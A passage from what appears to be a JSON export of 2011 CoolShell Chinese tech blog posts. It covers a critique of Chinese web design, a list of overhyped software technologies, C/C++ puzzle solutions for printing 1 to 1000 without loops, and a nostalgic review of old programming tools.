    "content": "---\nlayout: post\ntitle: 为什么中国的网页设计那么烂？\ndate: 2011/1/28/ 0:47:14\nupdated: 2011/1/28/ 0:47:14\nstatus: publish\npublished: true\ntype: post\n---\n\n[Nick Johnson](http://thinkvitamin.com/author/nickjohnson/)，一个有12年经验的Web设计师在它的blog里写下了“[Why is Chinese Web Design So Bad](http://thinkvitamin.com/design/why-is-chinese-web-design-so-bad/)”，新浪，人人，百度，阿里巴巴，腾讯榜上有名。**其中的观点相当的好，希望所有的中国人都读一下。**我不全文翻译了，只是给大家看一些摘要。（保证不会像《环球时报》一样）\n\n\n——————————\n\n\n作者2005年的夏天来到中国，他说，他注意到了中国那复杂的文化和西方的有多么的不同。比如，语言，身体特征，政府的执政理念，等等，但是，有一些地方确是差别很少的，比如：幽默的sense，还有对艺术的表现形式的兴趣。很快，因为职业，他发现在中国的网站设计上完全没有引吸到他。于是他开始让身边的中国朋友尽可能多的给他推荐中国的网站，他觉得这个可以对他学习Web Design有帮助。\n\n\n当他在评论起新浪，人人，百度，阿里巴巴，腾讯的时候，他说，百度和其它的不同，因为百度悍然地公开抄袭Google的Web Design（blatantly copied their design from Google），而人人则是很明显地抄袭facebook（clearly copied their design from Facebook）。而其它的多数的中国网站看上去有很多很多滑稽可笑的文本，一些网站在滥用图片，一些网站图片又不够。他感到很困扰，这样的网站都能被接受？这么多的东西，网民怎么可能看得过来啊？中国人怎么可能容忍这些。（注：他不知道我们中国人能承受的比这更多）\n\n\n\n他说，更夸张的是，中国的网站上会有很多的动画，弹窗，幻灯片，感觉中国的设计师不是在设计，是在实践，还是实践那些很坏的设计理念，而些东西都是西方的设计师努力努力避免的。作者感到回到了1995年。\n\n\n作者说，作为一个傲慢自大的西方人，他的第一反应是——“哦，这是一个发展中国家，简单来说，还不能赶上我们”，当然，这有可能，因为Web Design和艺术表现也有个发展过程的，当**前的中国也许正处于“结构设计”时期**。作者个人认为的另一个可能是，中国的Web设计者们培养环境的问题——**中国的教育培养是说教和影响的方式，而不是持续的自然的艺术的进化**。艺术进化的根是文化培养，但是更应该是自然的，自由地进化。\n\n\n作者在说他为什么这么认为的原因时，提到了他花了些时间去了下中国的大学看看这些大学在教什么。他发现，**中国的学生只是去记忆东西而不是真正的理解**。**他们从来不花时间去思考，而只是贪婪地去获取更多的信息**。这和西方的教育完全的不同。（注：在这种教育体系下产生了像人人同抄袭和像新浪一样的满是信息的网页）作者继续说，在西方，他们一般用的都是“启发式”的东西，需要给人一种“啊，这样啊”的瞬间，这叫交互。而中国则不是，他们是先展示数据。中国的网站基本上是数据查询网站，就像把把信息注入到大脑中一样，没有过多的交互。\n\n\n另一个中国的文化是——这个民族真是很不直接，不像美国，在中国如果有人一针见血的表达观点是很不舒服的事。和中国人谈话需要拐很多弯。然而，对于西方人来说，模糊的表达才是让人很不舒服的。但是中国人都很接受这样的沟通方式。这也是中国网页设计成这个样子的一个原因。\n\n\n——————————————\n\n\n我觉得作者的话说的很中肯。然而，作者的这篇博文后面很多回复，你都可以去看看。那些回复中，我看到的是那些“不服输”的中国人（这是不是我们从小那种“争第一”的教育培养出来人呢？）。\n\n\n看完以后，我觉得让我思考的已经不是网页设计了，而是我们的教育和文化。\n\n\n**你呢？是在反思呢，还是准备去作者的 blog上debate呢？**\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![我做系统架构的一些原则](../wp-content/uploads/2021/12/bachelor-mechanical-eng-icon@72x-150x150.png)](https://coolshell.cn/articles/21672.html)[我做系统架构的一些原则](https://coolshell.cn/articles/21672.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![如何免费的让网站启用HTTPS](../wp-content/uploads/2017/08/enable-https-banner-150x150.png)](https://coolshell.cn/articles/18094.html)[如何免费的让网站启用HTTPS](https://coolshell.cn/articles/18094.html)\n* [![API设计原则 – Qt官网的设计实践总结](../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg)](https://coolshell.cn/articles/18024.html)[API设计原则 – Qt官网的设计实践总结](https://coolshell.cn/articles/18024.html)\n* [![AWS 的 S3 故障回顾和思考](../wp-content/uploads/2017/03/Amazon-Web-Services-Down-150x150.png)](https://coolshell.cn/articles/17737.html)[AWS 的 S3 故障回顾和思考](https://coolshell.cn/articles/17737.html)\n* [![从Gitlab误删除数据库想到的](../wp-content/uploads/2017/02/gitlab-600-150x150.jpg)](https://coolshell.cn/articles/17680.html)[从Gitlab误删除数据库想到的](https://coolshell.cn/articles/17680.html)\nThe post [为什么中国的网页设计那么烂？](https://coolshell.cn/articles/3605.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-1-28 那些炒作过度的技术和概念.md",
    "content": "---\nlayout: post\ntitle: 那些炒作过度的技术和概念\ndate: 2011/1/28/ 2:0:52\nupdated: 2011/1/28/ 2:0:52\nstatus: publish\npublished: true\ntype: post\n---\n\n[StackExchange.com](http://stackexchange.com)上有一个[贴子](http://programmers.stackexchange.com/questions/38505/most-overhyped-software-engineering-technologies-and-concepts-of-the-last-20-year)在评论着最近20年来被炒作过度的技术，对于出现的结果，大多数赞同，也有一些不赞同。下面我从前15名挑了10个（Java的WORE我去掉了，TDD我也去掉了，因为我觉得他们应该没有炒作过度，而且都不错），按原贴的顺序罗列如下：（后面的一些评论是我加的，欢迎大家讨论）\n\n\n#### Top 10 过度炒作的技术和概念\n\n\n* **Unified Modeling Language (UML)** – UML是一个程序员交流想法的不错的工具，但是他离程序员真正需要的设计工具还差得很远，比如：设计是否符合需求、架构设计、数据流等等。只有为数不多的程序员使用这个工具交流想法，而没有用在具体工作中。\n\n\n* **Sharepoint** – 现在N多的公司都在用微软的这个东西做公司内部的Intranet。不过安装和维护起来，代价相当的大。但是其市场做的很成功，不对技术上来说对技术人员来说，相当的蹩脚。Sharepoint的设计没有认真地分析过业务流程，仅仅是一个文档存储地。看上去我们似乎可以做任何的事，但是如果你要用其来管理你的项目和track你的项目问题，你会发现其是无比的难用。\n\n\n* **eXtensible Mark-up Language (XML)** –  XML嘛，以前说过很多了（[XML1](https://coolshell.cn/articles/2504.html)， [XML2](https://coolshell.cn/articles/3498.html)）我们用他来做和程序数据封装，用来做配置文件，用来做网络传输格式。我们的程序处理起XML来，又慢，又不经济，没有工具，几乎无法维护XML文件。XML用来做数据封包真是很不经济，Yaml和JSON那个不比它简单？用XML来做程序配置文件不知道是谁想出来的主意，相当的愚蠢，看看Unix/Linux下的配置文件，简单易读，相当容易维护。真是高科技啊。\n\n\n* **SOAP, XML-RPC, WSDL 的 Web Services** – 这个东西前几年炒的很凶。所有人都相信，这是程序员的未来。可惜的，其中的复杂和不一致，相当的令人恶心。[SOAP的那个S居然还是Simple](https://coolshell.cn/articles/3585.html)！看来，扯上XML的都不会是什么好的东东。不过，个人认为，CORBA比他更恶。\n\n\n\n* **CORBA** – 作为一个比其更恶的更过度炒作的COM技术的Linux/Unix下的补充技术，这个技术也好不到哪里去。相当的复杂，从理论上开始就是这样了。这是一个没有经过实践就搞出来的一个东西。然后开始炒作。\n\n\n* **Cloud Computing** – 这是一个靠炒作出现的东西。这个东西也就是说，我们可以使用不同的调备，比如电脑，平板电脑，手机，移动设备随时随地做想做的事。Google的Chrome笔记本的广告展示了这项技术，但是，把工作结果放在云端的人会有多少呢。更多的人更喜欢的是去使用那些自己可以控制的电脑或平台。Google在这点上做的明显不如Amazon，像Amazon EC2平台，你可以在世界上任何一个角落随时随地的去启动你那台远程的系统。（***更新（2011/1/29）***：解释一下，关于云计算，在写下这篇文章的时候我本来有点拿不定主意的，后来回顾了一下历史，如COM啊，ActiveX啊，EJB啊，当时感觉都是很强的东西，但是最终也只是被炒作的。云计算，我不知道未来怎么样，从今天来看，这项技术在今天存在炒作的情况——中移动云，阿里云，到处都是云，在云面前，神马都是浮云了。）\n\n\n* **SOA – Service Oriented Architecture** – 这是一个没有人真正知道是什么玩意的概念。炒作了很多年，很多人都试图去了解它，但最后的结果是打个哈欠，看别的东西去了。现在没有人提了。中国一些银行在IBM的鼓动下搞了很多所谓的SOA应用，结果是系统很复杂，当然，也再离不开IBM了。\n\n\n* **Software Industrial Process** – 软件开发中有很多所谓的工业界的流程，用这些流程好像可以控制质量。外包公司和中国的本土公司很喜欢这些东西，比如ISO和CMMi，这些流程不能说不好，也有好的地方，尤其是对那些不会思考只要跟从的Worker来说。这些工业界流程中炒作过度的是，那些所谓的使用这些流程可以预测项目周期，质量控制，以前需求开发和管理等东西。其让流程上升到了一种神学的可预言的地步，同样也上升到了政治的地步。因为，这些流程中都必然会有SQA 的Audit的流程，还有统计和报告的流程，这些统统不是软件开发的流程，但是的确是相当的政治。使用这些工业届标准流程的公司，通常都是一些创造性有问题的公司。\n\n\n* **Agile Software Development – 敏捷开发**。首先，我承认其中的很多实践相当有效，在理论上也不错，还有很多不错方法的。不过，还是有炒作的成分（**下面的言论，我等着被骂**）对我来说，在中国，“敏捷开发”的炒作简直就像是一个电视购物，ThoughtWorks中国各种咨询师们软件开发经验其实并不丰富，准确来说，他们有的是咨询经验，而没有具体项目实施经验（有的咨询师甚至都没有写过一行代码就去学教人怎么编程和开发软件了），和他们沟通起来能够感到他们对敏捷很亢奋，而且是唯敏捷主义，就差打出Once Process，One Agile的口号了，他们信仰敏捷流程的已经接近宗教信仰，他们的精神世界很朝鲜。因为，无论你和他们的咨询师谈什么，他们只说敏捷，从来不会分析一下，项目的特性是什么？开发这个项目的人的风格是什么？客户的特性是什么？有没有关心软件的stakeholder们（如：程序员，测试人员，客户，管理人员）是怎么想的？而XP和SCRUM也就成了Push工程师最强大的工具。**流程这个东西，应该是项目组自发出来的东西，而不是被 灌输，被教条使用的东西。不同的团队、不同的项目、不同的人，不同的风格就是不同的流程，只有去使用适合自己的流程才是最好的流程**。**打个比方，足球队中，巴西队玩的是个人艺术足球，德国队玩的是整体和纪律性足球，意大利玩的是防守型足球，但是他们都有夺世界杯冠军的实力，如果你硬要让巴西队去整德国队或是意大利队的风格，那就悲剧了**。很显然，ThoughtWorks很像把全中国的软件公司都整成Agile的，这注定了其在中国是杯具的，也只能争取到那些不知所措的公司和项目，没有合适的项目，也只有靠各种炒作（比如整一些大会，搞一些宣传）。他们总是觉得中国的用户和程序员需要去用时间不停地教育，但是，他们从来没有想想自己的原因 — 靠教育和灌输是永远赢不了的。**我给他们的个人建议是，不要以为世界就像你所想像的那样，学会尊重程序员和项目还有很多非技术的东西，多听听程序员和客户怎么说，多分析一下项目的特质，从实际情况出发，而不是自己涛涛不绝地**向大家**灌输自己的理论**。\n\n\n* **Object-Oriented Programming (OOP**) – 不多说了，以前本站说过了，所有的一切都在[面向对象是个骗局](https://coolshell.cn/articles/3036.html)一文中。不过有一点我想告诉大家，面向对象的Design Pattern真是被滥用了，Design Pattern教你的是两件事，1）怎么去化繁为简，2）怎么能让对象的耦合性降低。而不是一个公式让你的套，但，更多的程序员则学会了“[流行的设计模式编程](https://coolshell.cn/articles/2058.html)”。\n\n\n#### 附：下构面是我拿不定是否是过度炒作的技术\n\n\n**Write Once Run Anywhere** – 这个有点让我不解，不知道为什么会那么靠前。这是Java的口号，我觉得Java在跨平台方面还是成功的，没有过度炒作啊。用虚拟机的确是做到了这一点，对于那些需要有不同的硬件和操作系统平台并不断升级和更换它们的公司来说，这的确是个很不错的解决平台依赖性的方案。我个感觉这个技术并没有炒作过头，至少在Java这边是这样的。与其说这个，还不如说EJB，这才是炒作过度的技术。\n\n\n[更新 2011/02/13]下面的回复，在我形成这篇文章的时候我没有想过，经ming同学一说，我觉得似乎有些道理。\n\n\n\n> **[ming](https://coolshell.cn/articles/3609.html/comment-page-1#comment-29425) :**\n> \n> \n> 我从一开始就觉得java的“Write Once Run Anywhere”是彻头彻尾的炒作。\n> \n> \n> 想想，所谓的跨平台无非就是依靠虚拟机、解释器之类的东西实现的，那么，哪个脚本语言不是依靠解释器呢？古老的perl已经跨平台了。当然，跨平台的语言还有很多。但是，只有java炒作这个概念。\n> \n> \n\n\n**Test Driven Design (TDD)** – 从测试案例开始写程序这可能是很多程序员都不习惯的方法。其实这是一种比较好的编程方法，保证了代码怎么改动都不会break其它没有改动的代码，代码可以在一种持续集成中保证质量。但是，我们需要知道TDD的一些副作用（在[十条不错的编程观点](https://coolshell.cn/articles/2424.html \"十条不错的编程观点 \")里也提到过TDD的弊端）：1）TDD可能会让程序员敷衍了事，以为test case 没有错就正确了。2）TDD可能会让你忽略了软件设计和架构以及程序的扩展性和重用性。T**DD只是一种方法，并不是程序的核心**。当然，TDD近几年的炒作也有点过头，已经出现了“TDD是一种Design方法”等“神乎其技”的论调，我对此表示质疑中。\n\n\n[更新 2011/02/13] 关于TDD，请参看我另一篇文章《[TDD并不是看上去的那么美](https://coolshell.cn/articles/3649.html)》\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![聊聊团队协同和协同工具](../wp-content/uploads/2022/10/communication-150x150.png)](https://coolshell.cn/articles/22298.html)[聊聊团队协同和协同工具](https://coolshell.cn/articles/22298.html)\n* [![“一把梭：REST API 全用 POST”](../wp-content/uploads/2022/02/http_method-150x150.png)](https://coolshell.cn/articles/22173.html)[“一把梭：REST API 全用 POST”](https://coolshell.cn/articles/22173.html)\n* [![谈谈公司对员工的监控](../wp-content/uploads/2022/02/monitoring-150x150.jpeg)](https://coolshell.cn/articles/22157.html)[谈谈公司对员工的监控](https://coolshell.cn/articles/22157.html)\n* [![如何做一个有质量的技术分享](../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg)](https://coolshell.cn/articles/21589.html)[如何做一个有质量的技术分享](https://coolshell.cn/articles/21589.html)\n* [![程序员如何把控自己的职业](../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png)](https://coolshell.cn/articles/20977.html)[程序员如何把控自己的职业](https://coolshell.cn/articles/20977.html)\n* [![MegaEase的远程工作文化](../wp-content/uploads/2020/01/remote-150x150.jpg)](https://coolshell.cn/articles/20765.html)[MegaEase的远程工作文化](https://coolshell.cn/articles/20765.html)\nThe post [那些炒作过度的技术和概念](https://coolshell.cn/articles/3609.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-1-7 输出从1到1000的数.md",
    "content": "---\nlayout: post\ntitle: 输出从1到1000的数\ndate: 2011/1/7/ 0:55:32\nupdated: 2011/1/7/ 0:55:32\nstatus: publish\npublished: true\ntype: post\n---\n\n有这样一个面试题——**请把从1到1000的数打印出来，但你不能使用任何的循环语句或是条件语句。更不能写1000个printf或是cout**。**用C/C++语言**。\n\n\n我相信，大多数人一开始你可能想到的是递归算法：\n\n\n\n```\n\nvoid f(int n){\n    printf(\"%d\\n\",n);\n    (1000-n) ? f(n+1) : exit(0) ;\n}\nint main(){\n    f(1);\n}\n\n```\n\n当然，题目中说了不能使用条件语句，所以，上面那种解法的不符合题意的，因为还是变向地使用了条件表达式。不过，我们可以用别的方法来让这个递归终止，比如：\n\n\n除以零，当程序crash，呵呵。\n\n\n\n```\nvoid f(int n){\n    printf(\"%d\\n\",n);\n    n/(1000-n);\n    f(n+1);\n}\n```\n\n还有这样退出递归的：\n\n\n\n\n```\n\nvoid yesprint(int i);\nvoid noprint(int i);\n\ntypedef void(*fnPtr)(int);\nfnPtr dispatch[] = { yesprint, noprint };\n\nvoid yesprint(int i) {\n    printf(\"%d\\n\", i);\n    dispatch[i / 1000](i + 1);\n}\n\nvoid noprint(int i) { /* do nothing. */ }\n\nint main() {\n      yesprint(1);\n}\n\n```\n\n还有下面这些各种各样的解法：\n\n\n\n```\n#include<stdio.h>\n\n/* prints number  i */\nvoid print1(int i) {\n    printf(\"%d\\n\",i);\n}\n\n/* prints 10 numbers starting from i */\nvoid print10(int i) {\n    print1(i);\n    print1(i+1);\n    print1(i+2);\n    print1(i+3);\n    print1(i+4);\n    print1(i+5);\n    print1(i+6);\n    print1(i+7);\n    print1(i+8);\n    print1(i+9);\n}\n\n/* prints 100 numbers starting from i */\nvoid print100(int i) {\n    print10(i);\n    print10(i+10);\n    print10(i+20);\n    print10(i+30);\n    print10(i+40);\n    print10(i+50);\n    print10(i+60);\n    print10(i+70);\n    print10(i+80);\n    print10(i+90);\n}\n\n/* prints 1000 numbers starting from i */\nvoid print1000(int i) {\n    print100(i);\n    print100(i+100);\n    print100(i+200);\n    print100(i+300);\n    print100(i+400);\n    print100(i+500);\n    print100(i+600);\n    print100(i+700);\n    print100(i+800);\n    print100(i+900);\n}\n\nint main() {\n        print1000(1);\n        return 0;\n}\n```\n\n不过，print用得多了一些。我们可以用宏嘛。\n\n\n\n```\n#include<stdio.h>\n#define Out(i)       printf(\"%d\\n\", i++);\n#define REP(N)       N N N N N N N N N N\n#define Out1000(i)   REP(REP(REP(Out(i))));\nvoid main()\n{\n    int i = 1;\n    Out1000(i);\n}\n```\n\n不过，我们应该使用C++的一些特性，比如：\n\n\n使用构造函数\n\n\n\n```\n\nclass Printer\n{\npublic:\n    Printer() { static unsigned i=1; cout << i++ << endl;; }\n\n};\n\nint main()\n{\n    Printer p[1000];\n}\n\n```\n\n或是更为NB的Template：\n\n\n\n```\ntemplate<int N>\nstruct NumberGeneration{\n    static void out(std::ostream& os)\n    {\n        NumberGeneration<N-1>::out(os);\n        os << N << std::endl;\n    }\n};\n\ntemplate<>\nstruct NumberGeneration<1>{\n    static void out(std::ostream& os)\n    {\n        os << 1 << std::endl;\n    }\n};\n\nint main(){\n    NumberGeneration<1000>::out(std::cout);\n}\n```\n\n最后来个BT一点的：\n\n\n\n```\n\nvoid main(int j) {\n    printf(\"%d\\n\", j);\n    (main + (exit - main)*(j/1000))(j+1);\n}\n\n```\n\n本文来自: <http://stackoverflow.com/q/4568645/89806>\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![一个fork的面试题](../wp-content/uploads/2012/07/fork01jpg-150x150.jpg)](https://coolshell.cn/articles/7965.html)[一个fork的面试题](https://coolshell.cn/articles/7965.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg](https://coolshell.cn/articles/4162.html)[又一个有趣的面试题](https://coolshell.cn/articles/4162.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/21.jpg](https://coolshell.cn/articles/3961.html)[“火柴棍式”程序员面试题](https://coolshell.cn/articles/3961.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/26.jpg](https://coolshell.cn/articles/3738.html)[打印质数的各种算法](https://coolshell.cn/articles/3738.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/12052.html)[Leetcode 编程训练](https://coolshell.cn/articles/12052.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg](https://coolshell.cn/articles/10478.html)[C++面试中string类的一种正确写法](https://coolshell.cn/articles/10478.html)\nThe post [输出从1到1000的数](https://coolshell.cn/articles/3445.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-10-14 那些曾伴我走过编程之路的软件.md",
    "content": "---\nlayout: post\ntitle: 那些曾伴我走过编程之路的软件\ndate: 2011/10/14/ 5:58:40\nupdated: 2011/10/14/ 5:58:40\nstatus: publish\npublished: true\ntype: post\n---\n\n收家的时候发现了一张VC++6.0的光盘，实然引发了我的怀旧情结。于是在[微博上感叹了一下](http://weibo.com/1401880315/xsBMcbMVz)，看到一些朋友的回应，还有朋友提到了Turbo C 2.0，于是更回放大了我的怀旧情绪，让我回想了很多N年前伴我走过编程之路的软件。现在看下来，有些感叹，又有些可笑。感叹的是技术发展的变迁，可笑的是当时的一些想法。（Unix/Linux是在大四和毕业的时候接触的，虽然这是我的强项，但是这下面的编程这么多年来没什么变化，所以就不提了）**注：图片较多，请稍等。**\n\n\n还记得第一次接触编程是在高中的时候，用中华学习机学Basic程序，后来到了大学，虽然学校的课程没有教Basic语言，但是DOS下有一个叫Quick Baisc的东西让我把高中时的知识又捡了回了。\n\n\n![](../wp-content/uploads/2011/10/00.QuickBasic_PDS_IDE.png \"那些曾伴我走过编程之路的软件\")\n\n\n大学里学的第一门语言是Pascal，所以，用的编程软件也就是Turbo Pascal，还记编译起来巨快无比，尤其是那个只有软盘和640K的基本内存的时代。\n\n\n\n![](../wp-content/uploads/2011/10/05.turbo_.pascal.gif \"那些曾伴我走过编程之路的软件\")\n\n\n在这里还需要提一点的是当时的一个学习打字指法的软件，TT，呵呵。还记得当时整日整夜的去机房练打字，练指法速度。还记得当时能打到38分就算是相当的NB了。\n\n\n![](../wp-content/uploads/2011/10/19.tt01.png \"那些曾伴我走过编程之路的软件\")\n\n\n这是当时TT中的一个游戏，很好玩。\n\n\n![](../wp-content/uploads/2011/10/19.tt02.png \"那些曾伴我走过编程之路的软件\")\n\n\n然后开始学C语言，于是Turbo C 2.0成为了那个时代的经典，我还记得当时学校里的386电脑没有内存，没有硬盘，只有两个软驱，一个是3寸的，一个是5寸，而Turbo2.0的大小太大（2M多）所以，得把所有的头文件和lib文件放在3寸盘上，而主程序员放在5寸盘上，A盘和B盘同时来编译我的C程序，编译的时候，那叫一个慢啊，那是一个听着软驱咯吱咯吱的声音的时代。\n\n\n![](../wp-content/uploads/2011/10/04.turbo_.c.2.0.png)\n\n\n后来，用Turbo C 的图形库在DOS下画各种菜单，按钮，被支持鼠标等等，非常欢乐。（注：那时能写一个支持鼠标的程序是相当拉风的）\n\n\n![](../wp-content/uploads/2011/10/04.turbo_.c.png \"那些曾伴我走过编程之路的软件\")\n\n\n当时，Turbo C还是不足开发企业级应用，企业级的MIS系统需要数据库的支持，Foxbase是当时在学校里学的第一个和数据库有关的东西，现在完全忘 了。我还记得foxbase是当时计算机水平考试里的一个很重要的一环。\n\n\n![](../wp-content/uploads/2011/10/01.foxbase.jpg \"那些曾伴我走过编程之路的软件\")\n\n\nfoxbase很快就淘汰了，举而代之能开发企业级应用的是FoxPro，看到FoxPro的强大，尤其是对菜单，表单，按钮等的支持，当时觉得这是世界上最NB的编程工具了。还跟着老师开发了一些MIS系统。后来听老师说，他们给昆明车管所使用foxpro来管理昆明的自行车，因为数据量太大，FoxPro经常崩溃。这可能是我听说过最早的电子政府系统了。\n\n\n![](../wp-content/uploads/2011/10/02.foxprodos_25_desktop.jpg \"那些曾伴我走过编程之路的软件\")\n\n\nWin3.2/Win95下的Foxpro更不用说了，NB啊。当时的神器啊。\n\n\n![](../wp-content/uploads/2011/10/03.visual.foxpro.jpg \"那些曾伴我走过编程之路的软件\")\n\n\n进入Win95图形界面时代Borland C++也是需要提一下的，只是当时学校没有C++的课程，所以完全不懂，而且因为Foxpro和其些如VB，Powerbuilder的RAD编程工具的泛滥，甚至觉得Borland C++和VC++完全没戏。呵呵。\n\n\n![](../wp-content/uploads/2011/10/05.5.borland.c++.5.jpg \"那些曾伴我走过编程之路的软件\")\n\n\nPowerBuilder掀开了另一个企业级应用的时代，C/S结构。太强了，在大三大四的时候，在老师开的公司里用这个东西为丽江三合酒店，一个送水公司，还有云南省外事办公室开发过其MIS系统。使用PowerBuilder一直到2002年，交行总行国业务系统的前端，还有上海电信系统。今天还有人在用这个东西开发软件么？\n\n\n![](../wp-content/uploads/2011/10/06.Power_.builder.gif \"那些曾伴我走过编程之路的软件\")\n\n\nVB也是一个划时代的产品，不过好像从来都是一个编程初学者的玩具，当时我学过VB，感觉其把编程搞成了一个搭积木的过程。我在当时草草地使用了VB，因为那时出了一个叫VB killer的东西——Delphi。\n\n\n![](../wp-content/uploads/2011/10/07.visual.basic_.png \"那些曾伴我走过编程之路的软件\")\n\n\nDelphi的时代是相当生猛的一个时代，企业级开发，自带数据库，可以制作各咱小工具软件和网络软件，等等，到后来的Delphi7还支持多层结构和分布式，在Delphi的时代，我记得那时的狂热，网上有很多超NB的控件可以让你开发出相当炫的界面。\n\n\n![](../wp-content/uploads/2011/10/11.Delphi00.jpg \"那些曾伴我走过编程之路的软件\")\n\n\n![](../wp-content/uploads/2011/10/11.Delphi01.png \"那些曾伴我走过编程之路的软件\")\n\n\n![](../wp-content/uploads/2011/10/11.delphi02.gif \"那些曾伴我走过编程之路的软件\")\n\n\n还记得C++ Builder吗？搞得跟Delphi一模一样，但是编译的速度慢得实在是不行。\n\n\n![](../wp-content/uploads/2011/10/10.borland.c++.builder01.jpg \"那些曾伴我走过编程之路的软件\")\n\n\nVC++的时代应用是从北大的《Windows编程设计》一书发布时开始的，这才是真正的SDK编程。于是我开始喜欢使用VC++了。一直到今天。VC++6.0是一个经典，直到今天的VS2008，我还是要把热捷和界面搞成VC6.0的风格。呵呵。\n\n\n![](../wp-content/uploads/2011/10/vc6.start_.jpg \"VC++ 6.0\")\n\n\n![](../wp-content/uploads/2011/10/08.visual.c++.6.0.jpg \"那些曾伴我走过编程之路的软件\")\n\n\n刚参加工作的时候，单位里用Lotus Notes做办公自动化软件的平台，于是我学习了怎么在Notes下开发应用。后来还用这个玩意给一些银行开发过一些办公自动化流程的应用。我有一个同学相当痴迷于这个平台。现在看来，有点非主流了。\n\n\n![](../wp-content/uploads/2011/10/12.lotus_.notes_.gif \"那些曾伴我走过编程之路的软件\")\n\n\n在大三的时候，Java和WEB出现了，系上接到了一个项目，需要用HTML+Java的方式做一些在线的教学课件。但是，当时连一本HTML的书都没有，又上不了网，我只能在看一些盗版光盘里的HTML的文件的例子来学习。那时，基本上是用notepad来写HTML，这让我对HTML打下了非常扎实的基础。后来知道有一个叫HotDog的专门用来写HTML的软件，用了一段时间。\n\n\n![](../wp-content/uploads/2011/10/13.hotdog6w2kanim.gif \"那些曾伴我走过编程之路的软件\")\n\n\n但最终还是使用了微软的FrontPage多一些，直到Dreamweaver的出现。\n\n\n![](../wp-content/uploads/2011/10/13.frontpage.gif \"那些曾伴我走过编程之路的软件\")\n\n\n当时的开发环境用的是NetScape，就是下面这点鸟样的东西了。\n\n\n![](../wp-content/uploads/2011/10/24.netscape.gif \"那些曾伴我走过编程之路的软件\")\n\n\n在大三大四做那个操作系统的教学课件的时候，开发Java Applet的IDE主要是用Cafe，Java Workshop。当时用这些东西开发了一些Applet用来演示UNIX操作系统内存分配，进程调度，文件存储等算法的动画。还得了个大学生挑战者杯的鼓励奖。现在想想，如果当时有Flash的话，可能做这些演示动化就不用那么麻烦了。\n\n\n![](../wp-content/uploads/2011/10/16.visual.cafe_.01-1024x782.gif \"那些曾伴我走过编程之路的软件\")\n\n\n总体来说，Java Workshop也不好用。还是更多的使用Cafe写Java程序。\n\n\n![](../wp-content/uploads/2011/10/14.JavaWorkshopProject.gif \"那些曾伴我走过编程之路的软件\")\n\n\n毕业两年后在工作上因为要做IBM?Websphere上的应用，于是使用了IBM的Visual Age for Java，现在看来，这些IDE真是太土了。\n\n\n![](../wp-content/uploads/2011/10/15.visual.age_.for_.java_.gif \"那些曾伴我走过编程之路的软件\")\n\n\n关于Java的开发工具还有两个东西，一个是Microsoft的J++，另一个是Borland的JBuilder。J++ 就像是一个笑话，非标准的，据我所知没有人用。\n\n\n![](../wp-content/uploads/2011/10/09.visual.j++.gif \"那些曾伴我走过编程之路的软件\")\n\n\nJBuilder流行了很多年，还得了很多奖，几乎成了Borland的最后一个支柱产品，不过当时因为我皈依Linux/C/C++了，所以，也就没有搞Java了，不过这个IDE还是相当的优秀。不知道现在还有没有人用。不过，现在的Java IDE被Eclipse 一统山河了。\n\n\n![](../wp-content/uploads/2011/10/17.JBuilder.jpeg \"那些曾伴我走过编程之路的软件\")\n\n\n好了，上面是一些关于编程方面的，还有一些比较经典的软件如下。\n\n\n一个是汉字平台，香港金山公司的UC-DOS，和WPS，当时的我还纳闷，为什么香港人也用简体中文了。对此，我心中对祖国的热爱小小的升华了。\n\n\n![](../wp-content/uploads/2011/10/20.ucdos01.gif \"那些曾伴我走过编程之路的软件\")\n\n\n还有杀毒软件，KV300和kill![](../wp-content/uploads/2011/10/21.kv300.gif \"那些曾伴我走过编程之路的软件\")\n\n\n帮朋友修电脑用得最多的就是PC Tools\n\n\n![](../wp-content/uploads/2011/10/22.pc_.tools_.jpg \"那些曾伴我走过编程之路的软件\")\n\n\n玩游戏的必备——FPE\n\n\n![](../wp-content/uploads/2011/10/23.fpe_.jpg \"那些曾伴我走过编程之路的软件\")\n\n\n有谁还记得这个看图软件——SEA？  \n\n![](../wp-content/uploads/2011/10/24.SEA_.jpg \"那些曾伴我走过编程之路的软件\")\n\n\nZmud——当时的网游戏。也是需要练级。在大四和刚工作头一年疯玩过Zmud，之后，对于今天的这些大量的网游没有什么兴趣了。\n\n\n![](../wp-content/uploads/2011/10/25.zmud_.jpg \"那些曾伴我走过编程之路的软件\")\n\n\n还有当时用猫上网的年代，NetAnt成了下载软件的装机必备。下载速率平均只有3k-4kBps，这种生活是怎么过来的啊。哈。\n\n\n![](../wp-content/uploads/2011/10/26.netant.jpg \"那些曾伴我走过编程之路的软件\")\n\n\n相信你也有你自己的怀旧的故事，不妨分享一下。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* 